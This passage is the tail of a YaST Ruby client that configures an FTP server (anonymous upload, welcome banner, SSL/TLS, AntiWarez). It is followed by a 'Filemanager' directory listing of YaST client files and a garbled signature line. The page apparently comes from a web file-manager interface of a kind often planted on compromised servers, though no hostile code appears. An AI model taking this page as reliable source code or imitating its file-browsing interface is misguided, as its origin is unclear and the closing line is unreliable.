      options = deep_copy(options)
      CommandLine.Print("")
      CommandLine.Print(
        String.UnderlinedHeader(_("Access permission for anonymous users:"), 0)
      )
      CommandLine.Print("")
      if Ops.greater_than(Builtins.size(options), 0) &&
          Ops.less_or_equal(Builtins.size(options), 2)
        if Ops.get(options, "can_upload") != nil
          Ops.set(FtpServer.EDIT_SETTINGS, "AnonReadOnly", "NO")
          CommandLine.PrintNoCR(_("Upload enabled"))
        else
          Ops.set(FtpServer.EDIT_SETTINGS, "AnonReadOnly", "YES")
          CommandLine.PrintNoCR(_("Upload disabled"))
        end
        CommandLine.PrintNoCR(_("; "))
        if Ops.get(options, "create_dirs") != nil
          Ops.set(FtpServer.EDIT_SETTINGS, "AnonCreatDirs", "YES")
          CommandLine.PrintNoCR(_("Create dirs enabled"))
        else
          Ops.set(FtpServer.EDIT_SETTINGS, "AnonCreatDirs", "NO")
          CommandLine.PrintNoCR(_("Create dirs disabled"))
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one or two parameters are allowed."))
        CommandLine.Print("")
        return false
      end

      nil
    end



    def FTPdCMDWelMessage(options)
      options = deep_copy(options)
      CommandLine.Print("")
      CommandLine.Print(String.UnderlinedHeader(_("Welcome Message:"), 0))
      CommandLine.Print("")
      if !FtpServer.vsftpd_edit
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("This option is allowed only in vsftpd."))
        CommandLine.Print("")
        return false
      end
      if Builtins.size(options) == 1
        if Ops.get(options, "set_message") != nil
          Ops.set(
            FtpServer.EDIT_SETTINGS,
            "Banner",
            Ops.get_string(options, "set_message")
          )
          CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "Banner"))
          return true
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Missing value of option"))
          CommandLine.Print("")
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter is allowed."))
        CommandLine.Print("")
        CommandLine.Print(
          _("Example of correct input: welcome_message=\"Hello everybody\"")
        )
        CommandLine.Print("")
        return false
      end
    end




    def CommonHandlerCheckBox(options, header, vsftpd_deamon, name_option_EDIT_SETTINGS, general_name)
      options = deep_copy(options)
      CommandLine.Print("")
      CommandLine.Print(String.UnderlinedHeader(header, 0))
      CommandLine.Print("")
      if !FtpServer.vsftpd_edit && vsftpd_deamon
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("This option is allowed only in vsftpd."))
        CommandLine.Print("")
        return false
      end

      if FtpServer.vsftpd_edit && !vsftpd_deamon
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("This option is allowed only in pure-ftpd."))
        CommandLine.Print("")
        return false
      end
      if Builtins.size(options) == 1
        if Ops.get(options, "enable") != nil
          Ops.set(FtpServer.EDIT_SETTINGS, name_option_EDIT_SETTINGS, "YES")
          general_name = Ops.add(general_name, " is enabled")
          CommandLine.Print(general_name)
          CommandLine.Print("")
          return true
        elsif Ops.get(options, "disable") != nil
          Ops.set(FtpServer.EDIT_SETTINGS, name_option_EDIT_SETTINGS, "NO")
          general_name = Ops.add(general_name, " is disabled")
          CommandLine.Print(general_name)
          CommandLine.Print("")
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Wrong option."))
          CommandLine.Print("")
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter is allowed."))
        CommandLine.Print("")
        name_option_EDIT_SETTINGS = Ops.add(
          Ops.add("Example of correct using: ", name_option_EDIT_SETTINGS),
          " enable/disable"
        )
        CommandLine.Print(name_option_EDIT_SETTINGS)
        CommandLine.Print("")
        return false
      end

      nil
    end

    def FTPdCMDSSL(options)
      options = deep_copy(options)
      CommonHandlerCheckBox(options, "SSL:", true, "SSLEnable", "SSL")
    end
    def FTPdCMDTLS(options)
      options = deep_copy(options)
      CommonHandlerCheckBox(options, "TLS connections:", true, "TLS", "TLS")
    end

    def FTPdCMDAntiwarez(options)
      options = deep_copy(options)
      CommonHandlerCheckBox(
        options,
        "Antiwarez:",
        false,
        "AntiWarez",
        "AntiWarez"
      )
    end


    def FTPdCMDSSL_TLS(options)
      options = deep_copy(options)
      CommandLine.Print("")
      CommandLine.Print(String.UnderlinedHeader(_("Security Settings:"), 0))
      CommandLine.Print("")
      if FtpServer.vsftpd_edit
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("This option is allowed only in pure-ftp-server."))
        CommandLine.Print("")
        return false
      end
      if Builtins.size(options) == 1
        if Ops.get(options, "enable") != nil
          Ops.set(FtpServer.EDIT_SETTINGS, "SSL", "0")
          CommandLine.Print(_("SSL and TLS are enabled"))
          CommandLine.Print("")
          return true
        elsif Ops.get(options, "disable") != nil
          Ops.set(FtpServer.EDIT_SETTINGS, "SSL", "1")
          CommandLine.Print(_("SSL and TLS are disabled"))
          CommandLine.Print("")
        elsif Ops.get(options, "only") != nil
          Ops.set(FtpServer.EDIT_SETTINGS, "SSL", "2")
          CommandLine.Print(_("Refuse connection without SSL/TLS"))
          CommandLine.Print("")
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Wrong option."))
          CommandLine.Print("")
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter is allowed."))
        CommandLine.Print("")
        CommandLine.Print(
          _("Example of correct input: SSL_TLS enable/disable/only")
        )
        CommandLine.Print("")
        return false
      end

      nil
    end
  end
end

Yast::FtpServerClient.new.main

Filemanager

Name Type Size Permission Actions
OneClickInstallCLI.rb File 6.29 KB 0644
OneClickInstallUI.rb File 20.1 KB 0644
OneClickInstallUrlHandler.rb File 637 B 0644
OneClickInstallWorker.rb File 5.53 KB 0644
add-on.rb File 4.81 KB 0644
add-on_auto.rb File 10.01 KB 0644
add-on_proposal.rb File 2.42 KB 0644
add_inst_source_slptype.rb File 918 B 0644
audit-laf.rb File 11.39 KB 0644
audit-laf_auto.rb File 3.95 KB 0644
audit-laf_proposal.rb File 3.41 KB 0644
auth-client.rb File 1.07 KB 0644
auth-client_auto.rb File 1013 B 0644
auth-server.rb File 7.89 KB 0644
auth-server_auto.rb File 3.02 KB 0644
auth-server_proposal.rb File 12.25 KB 0644
auth.rb File 1.15 KB 0644
autoinst_scripts1_finish.rb File 1.55 KB 0644
autoinst_scripts2_finish.rb File 2.17 KB 0644
autoinst_test_clone.rb File 1017 B 0644
autoinst_test_stage.rb File 1.53 KB 0644
autoyast.rb File 4.09 KB 0644
ayast_probe.rb File 3.29 KB 0644
ayast_setup.rb File 4.76 KB 0644
backup_proposal.rb File 3.61 KB 0644
bootloader.rb File 1.13 KB 0644
bootloader_auto.rb File 63 B 0644
bootloader_finish.rb File 65 B 0644
bootloader_proposal.rb File 71 B 0644
ca-mgm.rb File 1.16 KB 0644
ca_mgm.rb File 7.43 KB 0644
ca_mgm_auto.rb File 37.21 KB 0644
ca_mgm_proposal.rb File 16.46 KB 0644
ca_select_proposal.rb File 18.54 KB 0644
cd_update.rb File 1.13 KB 0644
checkmedia.rb File 1.13 KB 0644
cio_ignore_finish.rb File 92 B 0644
cio_ignore_proposal.rb File 94 B 0644
classes_auto.rb File 2.07 KB 0644
clone_system.rb File 4.33 KB 0644
common-cert.rb File 1.18 KB 0644
common_cert.rb File 6.85 KB 0644
complete_workflow.rb File 1.38 KB 0644
copy_files_finish.rb File 86 B 0644
copy_logs_finish.rb File 76 B 0644
copy_systemfiles_finish.rb File 98 B 0644
country_simple_proposal.rb File 3.29 KB 0644
default_target_finish.rb File 1.16 KB 0644
default_target_proposal.rb File 8.72 KB 0644
deploy_image_auto.rb File 86 B 0644
deploying_proposal.rb File 89 B 0644
desktop_finish.rb File 81 B 0644
dhcp-server.rb File 1.14 KB 0644
dhcp-server_auto.rb File 4.68 KB 0644
discover_registration_services.rb File 1.03 KB 0644
disintegrate_all_extensions.rb File 106 B 0644
disk.rb File 2.91 KB 0644
disk_worker.rb File 4.06 KB 0644
dns-server.rb File 1.1 KB 0644
dns-server_auto.rb File 2.89 KB 0644
dns.rb File 8.35 KB 0644
dns_auto.rb File 3.37 KB 0644
do_not_show_again_editor.rb File 3.49 KB 0644
do_online_update_auto.rb File 3.27 KB 0644
driver_update1_finish.rb File 94 B 0644
driver_update2_finish.rb File 94 B 0644
files_auto.rb File 10.82 KB 0644
firewall.rb File 3.15 KB 0644
firewall_auto.rb File 4.15 KB 0644
firewall_proposal.rb File 9.86 KB 0644
firewall_stage1_finish.rb File 5.71 KB 0644
firewall_stage1_proposal.rb File 16.24 KB 0644
ftp-server.rb File 40.97 KB 0644
ftp-server_auto.rb File 3.56 KB 0644
general_auto.rb File 1.83 KB 0644
groups.rb File 9.29 KB 0644
host.rb File 3.32 KB 0644
host_auto.rb File 4.33 KB 0644
http-server.rb File 18.42 KB 0644
http-server_auto.rb File 3.1 KB 0644
inetd.rb File 13.52 KB 0644
inetd_auto.rb File 4.63 KB 0644
inetd_proposal.rb File 3.07 KB 0644
inst_add-on.rb File 5 KB 0644
inst_add-on_software.rb File 3.3 KB 0644
inst_addon_update_sources.rb File 101 B 0644
inst_ask_online_update.rb File 95 B 0644
inst_autoconfigure.rb File 19.7 KB 0644
inst_autoimage.rb File 1.85 KB 0644
inst_autoinit.rb File 6.47 KB 0644
inst_autopost.rb File 8.47 KB 0644
inst_autosetup.rb File 17.36 KB 0644
inst_autosetup_upgrade.rb File 17.05 KB 0644
inst_backup.rb File 7.77 KB 0644
inst_bootloader.rb File 1.18 KB 0644
inst_check_autoinst_mode.rb File 99 B 0644
inst_check_memsize.rb File 658 B 0644
inst_checkmedia.rb File 3.31 KB 0644
inst_complex_welcome.rb File 92 B 0644
inst_congratulate.rb File 87 B 0644
inst_custom_packages.rb File 2.91 KB 0644
inst_custom_part.rb File 1.17 KB 0644
inst_custom_patterns.rb File 94 B 0644
inst_deploy_image.rb File 86 B 0644
inst_desktop_roles.rb File 98 B 0644
inst_disk.rb File 2.55 KB 0644
inst_disk_for_image.rb File 89 B 0644
inst_disk_proposal.rb File 12.58 KB 0644
inst_disks_activate.rb File 90 B 0644
inst_do_net_test.rb File 28.83 KB 0644
inst_doit.rb File 71 B 0644
inst_download_release_notes.rb File 105 B 0644
inst_extrasources.rb File 87 B 0644
inst_features.rb File 79 B 0644
inst_finish.rb File 75 B 0644
inst_info.rb File 71 B 0644
inst_initialization.rb File 91 B 0644
inst_install_inf.rb File 85 B 0644
inst_installation_options.rb File 87 B 0644
inst_instsys_cleanup.rb File 99 B 0644
inst_iscsi-client.rb File 3.46 KB 0644
inst_keyboard_root_password.rb File 108 B 0644
inst_kickoff.rb File 19.83 KB 0644
inst_lan.rb File 2.24 KB 0644
inst_language.rb File 1.36 KB 0644
inst_language_add-on.rb File 12.54 KB 0644
inst_license.rb File 77 B 0644
inst_mediacopy.rb File 4.17 KB 0644
inst_network_check.rb File 88 B 0644
inst_pre_install.rb File 84 B 0644
inst_prepare_image.rb File 88 B 0644
inst_prepareprogress.rb File 93 B 0644
inst_prepdisk.rb File 5.8 KB 0644
inst_productsources.rb File 50.93 KB 0644
inst_proposal.rb File 1008 B 0644
inst_release_notes.rb File 88 B 0644
inst_resize_dialog.rb File 17.82 KB 0644
inst_resize_ui.rb File 30.46 KB 0644
inst_restore_settings.rb File 94 B 0644
inst_root_first.rb File 1007 B 0644
inst_rootpart.rb File 1.57 KB 0644
inst_rpmcopy.rb File 18.49 KB 0644
inst_rpmcopy_secondstage.rb File 100 B 0644
inst_save_hardware_status.rb File 101 B 0644
inst_scc.rb File 10.61 KB 0644
inst_scenarios.rb File 81 B 0644
inst_setup_dhcp.rb File 73 B 0644
inst_ssh_import.rb File 843 B 0644
inst_store_upgrade_software.rb File 3.98 KB 0644
inst_sw_select.rb File 1.77 KB 0644
inst_system_analysis.rb File 92 B 0644
inst_system_role.rb File 81 B 0644
inst_target_part.rb File 17.41 KB 0644
inst_target_selection.rb File 11.7 KB 0644
inst_test_workflow.rb File 949 B 0644
inst_timezone.rb File 2.36 KB 0644
inst_update.rb File 8.52 KB 0644
inst_update_installer.rb File 732 B 0644
inst_update_partition.rb File 1.86 KB 0644
inst_update_partition_auto.rb File 1.27 KB 0644
inst_upgrade_urls.rb File 86 B 0644
inst_user_first.rb File 1007 B 0644
inst_welcome.rb File 77 B 0644
inst_worker_continue.rb File 92 B 0644
inst_worker_initial.rb File 90 B 0644
inst_you.rb File 11.74 KB 0644
installation.rb File 78 B 0644
installation_settings_finish.rb File 108 B 0644
instserver.rb File 1.44 KB 0644
iscsi-client.rb File 3.1 KB 0644
iscsi-client_auto.rb File 4.1 KB 0644
iscsi-client_finish.rb File 3.46 KB 0644
iscsi-client_proposal.rb File 3.51 KB 0644
isns.rb File 2.13 KB 0644
isns_auto.rb File 2.96 KB 0644
isns_finish.rb File 1.9 KB 0644
isns_proposal.rb File 2.59 KB 0644
kdump.rb File 41.7 KB 0644
kdump_auto.rb File 2.66 KB 0644
kdump_finish.rb File 62 B 0644
kdump_proposal.rb File 3.11 KB 0644
kernel_finish.rb File 79 B 0644
key_manager.rb File 2.29 KB 0644
keyboard.rb File 5.48 KB 0644
keyboard_auto.rb File 3.16 KB 0644
keyboard_proposal.rb File 3 KB 0644
keyboard_simple_proposal.rb File 1.41 KB 0644
lan.rb File 6.23 KB 0644
lan_auto.rb File 12.98 KB 0644
language.rb File 9.12 KB 0644
language_auto.rb File 3.11 KB 0644
language_proposal.rb File 4.14 KB 0644
language_simple_proposal.rb File 1.6 KB 0644
ldap_browser.rb File 23.65 KB 0644
ldap_config.rb File 1.93 KB 0644
ldapkrb.rb File 1.1 KB 0644
ldconfig_finish.rb File 83 B 0644
mail.rb File 2.87 KB 0644
mail_auto.rb File 3.12 KB 0644
media_proposal.rb File 2.51 KB 0644
menu.rb File 12.75 KB 0644
migration.rb File 65 B 0644
migration_finish.rb File 732 B 0644
migration_proposal.rb File 715 B 0644
migration_proposals.rb File 1.19 KB 0644
migration_repos.rb File 730 B 0644
multipath-simple.rb File 1.21 KB 0644
network.rb File 4.3 KB 0644
network_finish.rb File 81 B 0644
network_proposal.rb File 69 B 0644
nfs-client.rb File 231 B 0644
nfs-client4part.rb File 2.63 KB 0644
nfs-server.rb File 277 B 0644
nfs.rb File 10.04 KB 0644
nfs_auto.rb File 2.54 KB 0644
nfs_server.rb File 9.59 KB 0644
nfs_server_auto.rb File 2.67 KB 0644
nis-client.rb File 1.16 KB 0644
nis-server.rb File 1.16 KB 0644
nis.rb File 7.99 KB 0644
nis_auto.rb File 3.05 KB 0644
nis_server.rb File 12.72 KB 0644
nis_server_auto.rb File 3.82 KB 0644
ntp-client.rb File 1.24 KB 0644
ntp-client_auto.rb File 3.92 KB 0644
ntp-client_finish.rb File 2.43 KB 0644
ntp-client_proposal.rb File 14.53 KB 0644
online_update.rb File 12.58 KB 0644
online_update_install.rb File 4.93 KB 0644
online_update_select.rb File 12.06 KB 0644
openldap-mirrormode.rb File 1.57 KB 0644
other_tools_warning.rb File 1.85 KB 0644
packages_proposal.rb File 7.64 KB 0644
partitions_proposal.rb File 8.99 KB 0644
pkg_finish.rb File 216 B 0644
pre_umount_finish.rb File 86 B 0644
prep_shrink_finish.rb File 94 B 0644
printer.rb File 3.03 KB 0644
printer_auto.rb File 17.76 KB 0644
printer_proposal.rb File 21.77 KB 0644
proxy.rb File 66 B 0644
proxy_auto.rb File 75 B 0644
proxy_finish.rb File 77 B 0644
registration.rb File 3.04 KB 0644
registration_sync.rb File 734 B 0644
relocation-server.rb File 3.45 KB 0644
remote.rb File 4.51 KB 0644
remote_finish.rb File 900 B 0644
remote_proposal.rb File 3.01 KB 0644
report_auto.rb File 7.94 KB 0644
repositories.rb File 308 B 0644
roles_finish.rb File 86 B 0644
rootpart_check_keyboard.rb File 1.63 KB 0644
rootpart_proposal.rb File 4.83 KB 0644
routing.rb File 12.82 KB 0644
routing_auto.rb File 3.39 KB 0644
samba-client.rb File 9.59 KB 0644
samba-client_auto.rb File 4.02 KB 0644
save_config_finish.rb File 88 B 0644
save_hw_status_finish.rb File 93 B 0644
save_network.rb File 9.33 KB 0644
scc.rb File 3.04 KB 0644
scc_auto.rb File 10.93 KB 0644
scc_finish.rb File 92 B 0644
scripts_auto.rb File 1.87 KB 0644
security.rb File 8.23 KB 0644
security_auto.rb File 4.25 KB 0644
security_summary.rb File 1.76 KB 0644
select_language.rb File 22.52 KB 0644
select_slp_source.rb File 432 B 0644
services-manager.rb File 7.25 KB 0644
services-manager_auto.rb File 1.13 KB 0644
services-manager_finish.rb File 117 B 0644
services.rb File 7.25 KB 0644
services_finish.rb File 92 B 0644
services_proposal.rb File 10.74 KB 0644
snapper.rb File 1.86 KB 0644
snapshots_finish.rb File 77 B 0644
software_auto.rb File 8.08 KB 0644
software_proposal.rb File 82 B 0644
software_simple_proposal.rb File 2.06 KB 0644
squid.rb File 3.86 KB 0644
squid_auto.rb File 3.89 KB 0644
ssh_import_auto.rb File 88 B 0644
ssh_import_proposal.rb File 85 B 0644
ssh_settings_finish.rb File 90 B 0644
storage.rb File 949 B 0644
storage_auto.rb File 2.49 KB 0644
storage_finish.rb File 3.04 KB 0644
stroj-casu.rb File 73 B 0644
sudo.rb File 2.6 KB 0644
support.rb File 3.12 KB 0644
support_auto.rb File 3.94 KB 0644
support_proposal.rb File 3.43 KB 0644
sw_single.rb File 26.4 KB 0644
switch_scr_finish.rb File 86 B 0644
sysconfig.rb File 4.36 KB 0644
sysconfig_auto.rb File 2.19 KB 0644
test_inst_client.rb File 84 B 0644
test_proposal.rb File 79 B 0644
tftp-server.rb File 4.33 KB 0644
tftp-server_auto.rb File 2.82 KB 0644
timezone.rb File 6.64 KB 0644
timezone_auto.rb File 2.82 KB 0644
timezone_proposal.rb File 2.67 KB 0644
umount_finish.rb File 79 B 0644
update_proposal.rb File 18.74 KB 0644
update_wizard_steps.rb File 90 B 0644
users.rb File 10.97 KB 0644
users_auto.rb File 5.54 KB 0644
users_encryption_method.rb File 1012 B 0644
users_encryption_proposal.rb File 819 B 0644
users_finish.rb File 1.2 KB 0644
users_plugin_ldap_all.rb File 11.17 KB 0644
users_plugin_ldap_passwordpolicy.rb File 7.03 KB 0644
users_plugin_ldap_shadowaccount.rb File 10.53 KB 0644
users_plugin_quota.rb File 18.49 KB 0644
users_proposal.rb File 1.08 KB 0644
vendor.rb File 10.32 KB 0644
view_anymsg.rb File 8.08 KB 0644
virtualization.rb File 3.02 KB 0644
vm_finish.rb File 4.69 KB 0644
vpn.rb File 1008 B 0644
vpn_auto.rb File 950 B 0644
wol.rb File 6.59 KB 0644
wrapper_slideshow_callbacks.rb File 1.27 KB 0644
wrapper_storage.rb File 1.96 KB 0644
x11_finish.rb File 73 B 0644
xinetd.rb File 1.15 KB 0644
yast_inf_finish.rb File 82 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1